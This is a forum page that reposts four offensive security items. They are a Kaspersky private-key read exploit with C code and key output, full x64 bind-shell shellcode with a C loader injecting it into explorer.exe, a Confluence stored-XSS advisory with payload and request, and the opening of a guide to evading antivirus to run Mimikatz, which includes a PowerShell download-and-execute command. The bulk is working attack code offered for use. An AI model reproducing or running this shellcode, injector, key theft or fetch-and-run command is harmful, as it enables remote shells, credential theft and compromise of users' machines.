Nytro

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=989 When Kaspersky generate a private key for the local root, they store the private key in %ProgramData%. Obviously this file cannot be shared, because it's the private key for a trusted local root certificate and users can use it to create certificates, sign files, create new roots, etc. If I look at the filesystem ACLs, I should have access, and was about to complain that they've done this incorrectly, but it doesn't work and it took me a while to figure out what they were doing. $ icacls KLSSL_privkey.pem KLSSL_privkey.pem BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) <-- All users should have read access NT AUTHORITY\SYSTEM:(I)(F) Successfully processed 1 files; Failed processing 0 files $ cat KLSSL_privkey.pem cat: KLSSL_privkey.pem: Permission denied Single stepping through why this fails, I can see their filter driver will deny access from their PFLT_POST_OPERATION_CALLBACK after checking the Irpb. That sounds difficult to get right, and reverse engineering the filter driver, I can see they're setting Data->IoStatus.Status = STATUS_ACCESS_DENIED if the Irpb->Parameters (like DesiredAccess or whatever) don't match a hardcoded bitmask. But the blacklist is insufficient, they even missed MAXIMUM_ALLOWED (?!!!). This is trivial to exploit, any unprivileged user can now become a CA. */ #include <windows.h> #include <stdio.h> #include <io.h> #include <fcntl.h> int main(int argc, char **argv) { HANDLE File; BYTE buf[2048] = {0}; DWORD count; File = CreateFile("c:\\ProgramData\\Kaspersky Lab\\AVP17.0.0\\Data\\Cert\\KLSSL_privkey.pem", MAXIMUM_ALLOWED, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (File != INVALID_HANDLE_VALUE) { if (ReadFile(File, buf, sizeof(buf), &count, NULL) == TRUE) { setmode(1, O_BINARY); fwrite(buf, 1, count, stdout); } CloseHandle(File); return 0; } return 1; } /* $ cl test.c Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. test.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:test.exe test.obj $ ./test.exe | openssl rsa -inform DER -text -noout Private-Key: (2048 bit) modulus: 00:b4:3f:57:21:e7:c3:45:e9:43:ec:b4:83:b4:81: bb:d3:3b:9b:1b:da:07:55:68:e0:b1:75:38:b9:66: 0d:4c:e4:e7:f3:92:01:fb:33:bf:e6:34:e4:e8:db: f1:7c:53:bc:95:2c:2d:08:8d:7c:8c:03:71:cd:07: */ Sursa: https://www.exploit-db.com/exploits/40988/

/* # Title : Windows x64 Password Protected Bind Shell TCP shellcode # size : 825 bytes # Author : Roziul Hasan Khan Shifat # Tested On : Windows 7 x64 professional # Date : 01-01-2017 */ /* file format pe-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 99 cltd 1: b2 80 mov $0x80,%dl 3: 48 29 d4 sub %rdx,%rsp 6: 4c 8d 24 24 lea (%rsp),%r12 a: 48 31 d2 xor %rdx,%rdx d: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax 12: 48 8b 40 18 mov 0x18(%rax),%rax 16: 48 8b 70 10 mov 0x10(%rax),%rsi 1a: 48 ad lods %ds:(%rsi),%rax 1c: 48 8b 30 mov (%rax),%rsi 1f: 48 8b 7e 30 mov 0x30(%rsi),%rdi 23: b2 88 mov $0x88,%dl 25: 8b 5f 3c mov 0x3c(%rdi),%ebx 28: 48 01 fb add %rdi,%rbx 2b: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 2e: 48 01 fb add %rdi,%rbx 31: 8b 73 1c mov 0x1c(%rbx),%esi 34: 48 01 fe add %rdi,%rsi 37: 48 31 d2 xor %rdx,%rdx 3a: 41 c7 04 24 77 73 32 movl $0x5f327377,(%r12) 41: 5f 42: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 49: 32 4a: 41 88 54 24 06 mov %dl,0x6(%r12) 4f: 66 ba 40 03 mov $0x340,%dx 53: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 56: 48 01 fb add %rdi,%rbx 59: 49 8d 0c 24 lea (%r12),%rcx 5d: ff d3 callq *%rbx 5f: 49 89 c7 mov %rax,%r15 62: 48 31 d2 xor %rdx,%rdx 65: b2 88 mov $0x88,%dl 67: 41 8b 5f 3c mov 0x3c(%r15),%ebx 6b: 4c 01 fb add %r15,%rbx 6e: 8b 1c 13 mov (%rbx,%rdx,1),%ebx 71: 4c 01 fb add %r15,%rbx 74: 44 8b 73 1c mov 0x1c(%rbx),%r14d 78: 4d 01 fe add %r15,%r14 7b: 66 ba c8 01 mov $0x1c8,%dx 7f: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx 83: 4c 01 fb add %r15,%rbx 86: 48 31 c9 xor %rcx,%rcx 89: 66 b9 98 01 mov $0x198,%cx 8d: 48 29 cc sub %rcx,%rsp 90: 48 8d 14 24 lea (%rsp),%rdx 94: 66 b9 02 02 mov $0x202,%cx 98: ff d3 callq *%rbx 9a: 48 83 ec 58 sub $0x58,%rsp 9e: 48 83 ec 58 sub $0x58,%rsp a2: 48 31 d2 xor %rdx,%rdx a5: 66 ba 88 01 mov $0x188,%dx a9: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx ad: 4c 01 fb add %r15,%rbx b0: 6a 06 pushq $0x6 b2: 6a 01 pushq $0x1 b4: 6a 02 pushq $0x2 b6: 59 pop %rcx b7: 5a pop %rdx b8: 41 58 pop %r8 ba: 4d 31 c9 xor %r9,%r9 bd: 4c 89 4c 24 20 mov %r9,0x20(%rsp) c2: 4c 89 4c 24 28 mov %r9,0x28(%rsp) c7: ff d3 callq *%rbx c9: 49 89 c5 mov %rax,%r13 cc: 41 8b 5e 04 mov 0x4(%r14),%ebx d0: 4c 01 fb add %r15,%rbx d3: 6a 10 pushq $0x10 d5: 41 58 pop %r8 d7: 48 31 d2 xor %rdx,%rdx da: 49 89 14 24 mov %rdx,(%r12) de: 49 89 54 24 08 mov %rdx,0x8(%r12) e3: 41 c6 04 24 02 movb $0x2,(%r12) e8: 66 41 c7 44 24 02 09 movw $0xbd09,0x2(%r12) ef: bd f0: 49 8d 14 24 lea (%r12),%rdx f4: 4c 89 e9 mov %r13,%rcx f7: ff d3 callq *%rbx f9: 41 8b 5e 30 mov 0x30(%r14),%ebx fd: 4c 01 fb add %r15,%rbx 100: 6a 01 pushq $0x1 102: 5a pop %rdx 103: 4c 89 e9 mov %r13,%rcx 106: ff d3 callq *%rbx 108: 48 83 ec 58 sub $0x58,%rsp 10c: eb 12 jmp 120 <a> 000000000000010e <kick>: 10e: 48 83 c4 58 add $0x58,%rsp 112: 41 8b 5e 08 mov 0x8(%r14),%ebx 116: 4c 01 fb add %r15,%rbx 119: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 11e: ff d3 callq *%rbx 0000000000000120 <a>: 120: 41 8b 1e mov (%r14),%ebx 123: 4c 01 fb add %r15,%rbx 126: 48 31 d2 xor %rdx,%rdx 129: 49 89 14 24 mov %rdx,(%r12) 12d: 49 89 54 24 08 mov %rdx,0x8(%r12) 132: b2 10 mov $0x10,%dl 134: 52 push %rdx 135: 4c 8d 04 24 lea (%rsp),%r8 139: 49 8d 14 24 lea (%r12),%rdx 13d: 4c 89 e9 mov %r13,%rcx 140: ff d3 callq *%rbx 142: 49 89 44 24 f8 mov %rax,-0x8(%r12) 147: 41 8b 5e 48 mov 0x48(%r14),%ebx 14b: 4c 01 fb add %r15,%rbx 14e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 153: 41 c7 04 24 2d 2d 3e movl $0x203e2d2d,(%r12) 15a: 20 15b: 49 8d 14 24 lea (%r12),%rdx 15f: 6a 04 pushq $0x4 161: 41 58 pop %r8 163: 4d 31 c9 xor %r9,%r9 166: 48 83 ec 58 sub $0x58,%rsp 16a: ff d3 callq *%rbx 16c: 41 8b 5e 3c mov 0x3c(%r14),%ebx 170: 4c 01 fb add %r15,%rbx 173: 4d 31 c9 xor %r9,%r9 176: 6a 08 pushq $0x8 178: 41 58 pop %r8 17a: 49 8d 14 24 lea (%r12),%rdx 17e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 183: ff d3 callq *%rbx 185: 41 81 3c 24 68 32 37 cmpl $0x31373268,(%r12) 18c: 31 18d: 0f 85 7b ff ff ff jne 10e <kick> 193: 41 81 7c 24 04 35 30 cmpl $0x46383035,0x4(%r12) 19a: 38 46 19c: 0f 85 6c ff ff ff jne 10e <kick> 1a2: 8b 5e 44 mov 0x44(%rsi),%ebx 1a5: 48 01 fb add %rdi,%rbx 1a8: ff d3 callq *%rbx 1aa: 48 31 d2 xor %rdx,%rdx 1ad: 41 c7 04 24 75 73 65 movl $0x72657375,(%r12) 1b4: 72 1b5: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 1bc: 32 1bd: 41 88 54 24 06 mov %dl,0x6(%r12) 1c2: 49 8d 0c 24 lea (%r12),%rcx 1c6: 48 83 ec 58 sub $0x58,%rsp 1ca: 66 ba 40 03 mov $0x340,%dx 1ce: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 1d1: 48 01 fb add %rdi,%rbx 1d4: ff d3 callq *%rbx 1d6: 49 89 c6 mov %rax,%r14 1d9: 41 c7 04 24 46 69 6e movl $0x646e6946,(%r12) 1e0: 64 1e1: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 1e8: 6e 64 1ea: 41 c7 44 24 08 6f 77 movl $0x4141776f,0x8(%r12) 1f1: 41 41 1f3: 41 80 74 24 0b 41 xorb $0x41,0xb(%r12) 1f9: 48 31 d2 xor %rdx,%rdx 1fc: 66 ba 2c 09 mov $0x92c,%dx 200: 44 8b 2c 16 mov (%rsi,%rdx,1),%r13d 204: 49 01 fd add %rdi,%r13 207: 49 8d 14 24 lea (%r12),%rdx 20b: 4c 89 f1 mov %r14,%rcx 20e: 41 ff d5 callq *%r13 211: 48 31 d2 xor %rdx,%rdx 214: 41 c7 04 24 43 6f 6e movl $0x736e6f43,(%r12) 21b: 73 21c: 41 c7 44 24 04 6f 6c movl $0x57656c6f,0x4(%r12) 223: 65 57 225: 41 c7 44 24 08 69 6e movl $0x6f646e69,0x8(%r12) 22c: 64 6f 22e: 41 c7 44 24 0c 77 43 movl $0x616c4377,0xc(%r12) 235: 6c 61 237: 66 41 c7 44 24 10 73 movw $0x7373,0x10(%r12) 23e: 73 23f: 41 88 54 24 12 mov %dl,0x12(%r12) 244: 49 8d 0c 24 lea (%r12),%rcx 248: 48 83 ec 58 sub $0x58,%rsp 24c: ff d0 callq *%rax 24e: 48 31 d2 xor %rdx,%rdx 251: 41 c7 04 24 53 68 6f movl $0x776f6853,(%r12) 258: 77 259: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 260: 6e 64 262: 66 41 c7 44 24 08 6f movw $0x776f,0x8(%r12) 269: 77 26a: 41 88 54 24 0a mov %dl,0xa(%r12) 26f: 49 8d 14 24 lea (%r12),%rdx 273: 4c 89 f1 mov %r14,%rcx 276: 41 55 push %r13 278: 5b pop %rbx 279: 49 89 c5 mov %rax,%r13 27c: ff d3 callq *%rbx 27e: 4c 89 e9 mov %r13,%rcx 281: 48 31 d2 xor %rdx,%rdx 284: ff d0 callq *%rax 286: 4d 31 c0 xor %r8,%r8 289: 41 50 push %r8 28b: 5a pop %rdx 28c: 66 ba 1f 04 mov $0x41f,%dx 290: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 293: 48 01 fb add %rdi,%rbx 296: 41 50 push %r8 298: 5a pop %rdx 299: b2 80 mov $0x80,%dl 29b: 49 8d 0c 24 lea (%r12),%rcx 29f: ff d3 callq *%rbx 2a1: 48 31 d2 xor %rdx,%rdx 2a4: 41 c7 44 24 f4 63 6d movl $0x41646d63,-0xc(%r12) 2ab: 64 41 2ad: 41 88 54 24 f7 mov %dl,-0x9(%r12) 2b2: b2 68 mov $0x68,%dl 2b4: 49 89 14 24 mov %rdx,(%r12) 2b8: b2 ff mov $0xff,%dl 2ba: 48 ff c2 inc %rdx 2bd: 49 8b 44 24 f8 mov -0x8(%r12),%rax 2c2: 41 89 54 24 3c mov %edx,0x3c(%r12) 2c7: 49 89 44 24 50 mov %rax,0x50(%r12) 2cc: 49 89 44 24 58 mov %rax,0x58(%r12) 2d1: 49 89 44 24 60 mov %rax,0x60(%r12) 2d6: 48 83 ec 58 sub $0x58,%rsp 2da: 48 31 c9 xor %rcx,%rcx 2dd: 4d 31 c9 xor %r9,%r9 2e0: 6a 01 pushq $0x1 2e2: 41 58 pop %r8 2e4: 4c 89 44 24 20 mov %r8,0x20(%rsp) 2e9: 48 89 4c 24 28 mov %rcx,0x28(%rsp) 2ee: 48 89 4c 24 30 mov %rcx,0x30(%rsp) 2f3: 48 89 4c 24 38 mov %rcx,0x38(%rsp) 2f8: 49 8d 14 24 lea (%r12),%rdx 2fc: 48 89 54 24 40 mov %rdx,0x40(%rsp) 301: 49 8d 54 24 68 lea 0x68(%r12),%rdx 306: 48 89 54 24 48 mov %rdx,0x48(%rsp) 30b: 4d 31 c0 xor %r8,%r8 30e: 49 8d 54 24 f4 lea -0xc(%r12),%rdx 313: 4d 31 d2 xor %r10,%r10 316: 66 41 ba 94 02 mov $0x294,%r10w 31b: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 31f: 48 01 fb add %rdi,%rbx 322: ff d3 callq *%rbx 324: 48 31 d2 xor %rdx,%rdx 327: 52 push %rdx 328: 66 ba 29 01 mov $0x129,%dx 32c: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 32f: 48 01 fb add %rdi,%rbx 332: 59 pop %rcx 333: 48 83 c4 58 add $0x58,%rsp 337: ff d3 callq *%rbx */ /* section .text global _start _start: cdq mov dl, 128 sub rsp,rdx lea r12,[rsp] xor rdx,rdx mov rax,[gs:rdx+0x60] mov rax,[rax+0x18] mov rsi,[rax+0x10] lodsq mov rsi,[rax] mov rdi,[rsi+0x30] ;kernel32.dll base address ;----------------------------------------- mov dl,0x88 mov ebx,[rdi+0x3c] add rbx,rdi mov ebx,[rbx+rdx] add rbx,rdi mov esi,[rbx+0x1c] ;kernel32.dll AddressOfFunctions add rsi,rdi ;=============================================MAIN CODE====================================================; ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi lea rcx,[r12] call rbx mov r15,rax ;ws2_32.dll base Address ;--------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov r14d,[rbx+0x1c] add r14,r15 ;ws2_32.dll AddressOfFunctions ;--------------------------------------------- ;WSAStartup(514,&WSADATA) mov dx,114*4 mov ebx,[r14+rdx] add rbx,r15 xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 call rbx ;--------------------------------------------- ;WSASocketA(2,1,6,0,0,0) sub rsp,88 sub rsp,88 xor rdx,rdx mov dx,98*4 mov ebx,[r14+rdx] add rbx,r15 push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;---------------------------------------------------------------- ;-------------------------------------------------- mov ebx,[r14+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0xbd09 ;port 2493 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;--------------------------------------------------------- mov ebx,[r14+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx mov rcx,r13 call rbx sub rsp,88 jmp a ;------------------------------------------------ ;----------------------------------------- kick: add rsp,88 mov ebx,[r14+8] add rbx,r15 ;CloseSocket() mov rcx,[r12-8] call rbx ;----------------------------------- a: mov ebx,[r14] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 call rbx mov [r12-8],rax ;client socket ;-------------------------- ;send(SOCKET,string,4,0) mov ebx,[r14+72] add rbx,r15 ;send() mov rcx,[r12-8] mov [r12],dword 0x203e2d2d lea rdx,[r12] push byte 4 pop r8 xor r9,r9 sub rsp,88 call rbx ;------------------------------------------- mov ebx,[r14+60] add rbx,r15 ;recv() xor r9,r9 push byte 8 pop r8 lea rdx,[r12] mov rcx,[r12-8] call rbx ;------------------------ ;password: h271508F cmp dword [r12],'h271' jne kick cmp dword [r12+4],'508F' jne kick ;---------------------------------------------- ;hiding window mov ebx,[rsi+68] add rbx,rdi call rbx ;AllocConsole() ;--------------------------------------- xor rdx,rdx ;loading user32.dll mov [r12],dword 'user' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 ;reserving memory for API mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi call rbx ;LoadLibraryA("user32") mov r14,rax ;user32.dll base ;---------------------------------------------------------------- ;-------------------------------------- ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ;Finding address of FindWindowA() mov [r12],dword 'Find' mov [r12+4],dword 'Wind' mov [r12+8],dword 'owAA' xor byte [r12+11],0x41 xor rdx,rdx mov dx,587*4 mov r13d,[rsi+rdx] add r13,rdi ;GetProcAddress() (temporary) lea rdx,[r12] mov rcx,r14 call r13 ;-------------------------------------- ;------------------------------------------------- ;FindWindowA("ConsoleWindowClass",NULL) xor rdx,rdx mov [r12],dword 'Cons' mov [r12+4],dword 'oleW' mov [r12+8],dword 'indo' mov [r12+12],dword 'wCla' mov [r12+16],word 'ss' mov [r12+18],byte dl lea rcx,[r12] sub rsp,88 call rax ;---------------------------------- ;=========================================================== xor rdx,rdx ;finding Address of ShowWindow() mov [r12],dword 'Show' mov [r12+4],dword 'Wind' mov [r12+8],word 'ow' mov [r12+10],byte dl lea rdx,[r12] mov rcx,r14 push r13 pop rbx mov r13,rax ;HWND call rbx ;------------------------------------- mov rcx,r13 xor rdx,rdx call rax ;---------------------------- ;-------------------------------------- ;RtlFillMemory(address,length,fill) xor r8,r8 push r8 pop rdx mov dx,1055 mov ebx,[rsi+rdx*4] add rbx,rdi push r8 pop rdx mov dl,128 lea rcx,[r12] call rbx ;---------------------------------------------------------- ;---------------------------------------------------------------- xor rdx,rdx mov [r12-12],dword 'cmdA' mov [r12-9],byte dl mov dl,104 mov [r12],rdx mov dl,255 inc rdx mov rax,[r12-8] mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;--------------------------------------------------- ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) sub rsp,88 xor rcx,rcx xor r9,r9 push 1 pop r8 mov [rsp+32],r8 mov [rsp+40],rcx mov [rsp+48],rcx mov [rsp+56],rcx lea rdx,[r12] mov [rsp+64],rdx lea rdx,[r12+104] mov [rsp+72],rdx xor r8,r8 lea rdx,[r12-12] xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,rdi ;CreateProcessA() call rbx ;------------------------------------------------------ ;------------------------------ xor rdx,rdx push rdx mov dx,297 mov ebx,[rsi+rdx*4] add rbx,rdi pop rcx add rsp,88 call rbx */ #include<windows.h> #include<stdio.h> #include<string.h> #include<tlhelp32.h> char shellcode[]=\ "\x99\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0c\x24\xff\xd3\x49\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb\x44\x8b\x73\x1c\x4d\x01\xfe\x66\xba\xc8\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\xff\xd3\x48\x83\xec\x58\x48\x83\xec\x58\x48\x31\xd2\x66\xba\x88\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x41\x8b\x5e\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x09\xbd\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x41\x8b\x5e\x30\x4c\x01\xfb\x6a\x01\x5a\x4c\x89\xe9\xff\xd3\x48\x83\xec\x58\xeb\x12\x48\x83\xc4\x58\x41\x8b\x5e\x08\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x8b\x1e\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x49\x89\x44\x24\xf8\x41\x8b\x5e\x48\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\x41\xc7\x04\x24\x2d\x2d\x3e\x20\x49\x8d\x14\x24\x6a\x04\x41\x58\x4d\x31\xc9\x48\x83\xec\x58\xff\xd3\x41\x8b\x5e\x3c\x4c\x01\xfb\x4d\x31\xc9\x6a\x08\x41\x58\x49\x8d\x14\x24\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x81\x3c\x24\x68\x32\x37\x31\x0f\x85\x7b\xff\xff\xff\x41\x81\x7c\x24\x04\x35\x30\x38\x46\x0f\x85\x6c\xff\xff\xff\x8b\x5e\x44\x48\x01\xfb\xff\xd3\x48\x31\xd2\x41\xc7\x04\x24\x75\x73\x65\x72\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xff\xd3\x49\x89\xc6\x41\xc7\x04\x24\x46\x69\x6e\x64\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x41\xc7\x44\x24\x08\x6f\x77\x41\x41\x41\x80\x74\x24\x0b\x41\x48\x31\xd2\x66\xba\x2c\x09\x44\x8b\x2c\x16\x49\x01\xfd\x49\x8d\x14\x24\x4c\x89\xf1\x41\xff\xd5\x48\x31\xd2\x41\xc7\x04\x24\x43\x6f\x6e\x73\x41\xc7\x44\x24\x04\x6f\x6c\x65\x57\x41\xc7\x44\x24\x08\x69\x6e\x64\x6f\x41\xc7\x44\x24\x0c\x77\x43\x6c\x61\x66\x41\xc7\x44\x24\x10\x73\x73\x41\x88\x54\x24\x12\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x48\x31\xd2\x41\xc7\x04\x24\x53\x68\x6f\x77\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x66\x41\xc7\x44\x24\x08\x6f\x77\x41\x88\x54\x24\x0a\x49\x8d\x14\x24\x4c\x89\xf1\x41\x55\x5b\x49\x89\xc5\xff\xd3\x4c\x89\xe9\x48\x31\xd2\xff\xd0\x4d\x31\xc0\x41\x50\x5a\x66\xba\x1f\x04\x8b\x1c\x96\x48\x01\xfb\x41\x50\x5a\xb2\x80\x49\x8d\x0c\x24\xff\xd3\x48\x31\xd2\x41\xc7\x44\x24\xf4\x63\x6d\x64\x41\x41\x88\x54\x24\xf7\xb2\x68\x49\x89\x14\x24\xb2\xff\x48\xff\xc2\x49\x8b\x44\x24\xf8\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x48\x83\xec\x58\x48\x31\xc9\x4d\x31\xc9\x6a\x01\x41\x58\x4c\x89\x44\x24\x20\x48\x89\x4c\x24\x28\x48\x89\x4c\x24\x30\x48\x89\x4c\x24\x38\x49\x8d\x14\x24\x48\x89\x54\x24\x40\x49\x8d\x54\x24\x68\x48\x89\x54\x24\x48\x4d\x31\xc0\x49\x8d\x54\x24\xf4\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x48\x01\xfb\xff\xd3\x48\x31\xd2\x52\x66\xba\x29\x01\x8b\x1c\x96\x48\x01\xfb\x59\x48\x83\xc4\x58\xff\xd3"; int main() { HANDLE s,proc; PROCESSENTRY32 ps; BOOL process_found=0; LPVOID shell; SIZE_T total; //finding explorer.exe pid ps.dwSize=sizeof(ps); s=CreateToolhelp32Snapshot(2,0); if(s==INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot() failed.Error code %d\n",GetLastError()); return -1; } if(!Process32First(s,&ps)) { printf("Process32First() failed.Error code %d\n",GetLastError()); return -1; } do{ if(0==strcmp(ps.szExeFile,"explorer.exe")) { process_found=1; break; } }while(Process32Next(s,&ps)); if(!process_found) { printf("Unknown Process\n"); return -1; } //opening process using pid proc=OpenProcess(PROCESS_ALL_ACCESS,0,ps.th32ProcessID); if(proc==INVALID_HANDLE_VALUE) { printf("OpenProcess() failed.Error code %d\n",GetLastError()); return -1; } //allocating memory process memory if( (shell=VirtualAllocEx(proc,NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE)) == NULL) { printf("Failed to allocate memory into process"); CloseHandle(proc); return -1; } //writing shellcode into process memory WriteProcessMemory(proc,shell,shellcode,sizeof(shellcode),&total); if(sizeof(shellcode)!=total) { printf("Failed write shellcode into process memory"); CloseHandle(proc); return -1; } //Executing shellcode if((s=CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0))==NULL) { printf("Failed to Execute shellcode"); CloseHandle(proc); return -1; } CloseHandle(proc); CloseHandle(s); return 0; } Sursa: https://www.exploit-db.com/exploits/40981/

From: jlss <jodson.santos () tempest com br> Date: Tue, 3 Jan 2017 15:50:30 -0300 =====[ Tempest Security Intelligence - ADV-3/2016 CVE-2016-6283 ]============== Persisted Cross-Site Scripting (XSS) in Confluence Jira Software ---------------------------------------------------------------- Author(s): - Jodson Santos - jodson.santos () tempest com br Tempest Security Intelligence - Recife, Pernambuco - Brazil =====[ Table of Contents ]===================================================== 1. Overview 2. Detailed description 3. Affected versions & Solutions 4. Timeline of disclosure 5. Thanks & Acknowledgements 6. References =====[1. Overview ]============================================================ * System affected : Atlassian Confluence * Software Version : 5.9.12 Other versions or models may also be affected. * Impact : This vulnerability allows an attacker to use Confluence's platform to deliver attacks against other users. =====[2. Detailed description ]================================================ Atlassian Confluence version 5.9.12 is vulnerable to persistent cross-site scripting (XSS) because it fails to securely validate user controlled data, thus making it possible for an attacker to supply crafted input in order to harm users. The bug occurs at pages carrying attached files, even though the attached file name parameter is correctly sanitized upon submission, it is possible for an attacker to later edit the attached file name property and supply crafted data (i.e HTML tags and script code) without the occurrence of any security checks, resulting in an exploitable persistent XSS. In order to reproduce the vulnerability, go to a page with an attached file, click on "Attachments" in order to list the page's attachments, and then click on "Properties" for the file of your choice. Edit the file name to, for example, <script>alert(1)</script>test.pdf and then save the changes. Albeit the XSS is not executed within the page display, it is possible to trigger the execution of the supplied code while performing a search within Confluence in which results include the attachment with crafted file name. For that matter, the search terms " or * will promptly display the file and execute the injected javascript code. As a means to further enlighten this, the following excerpt demonstrates a POST request with the malicious insertion within the newFileName field: POST /pages/doeditattachment.action?pageId={pageId}&attachmentBean.fileName={filename } HTTP/1.1 Host: {confluence host} Cookie: mywork.tab.tasks=false; JSESSIONID={redacted}; confluence.browse.space.cookie=space-templates Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: {redacted} atl_token={atl_token}&pageId={pageId}&isFromPageView=false&newFileName=<script>a lert(1)</script>file&newComment=&newContentType=application%2Foctet-stream&newPa rentPage=&confirm=Save It is worth noting that the issue may affect users regardless of privilege levels, since the malicious page/attachment can be browsed by any user within the Atlassian Confluence instance. =====[3. Affected versions & Solutions ]======================================= This test was performed against Atlassian Confluence version 5.9.12. According to vendor's response, the vulnerability is addressed and the fix is part of the 5.10.6 release. =====[4. Timeline of disclosure ]============================================== Jul/07/2016 - Vendor acknowledged the vulnerability. Aug/04/2016 - Vendor released the fix for the vulnerability in version 5.10.6. =====[5. Thanks & Acknowledgements ]=========================================== - Tempest Security Intelligence / Tempest's Pentest Team [1] - Joaquim Brasil - Heyder Andrade - Breno Cunha =====[6. References ]========================================================== [1] https://en.wikipedia.org/wiki/Confluence_(software) Sursa: http://seclists.org/fulldisclosure/2017/Jan/3

How to Bypass Anti-Virus to Run Mimikatz Carrie Roberts // Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught. powershell "IEX (New-Object Net.WebClient).DownloadString ('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/ Invoke-Mimikatz.ps1');Invoke-Mimikatz" Windows Defender Detects Unmodified Mimikatz Script Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious. AV Detection Rate for Unmodified 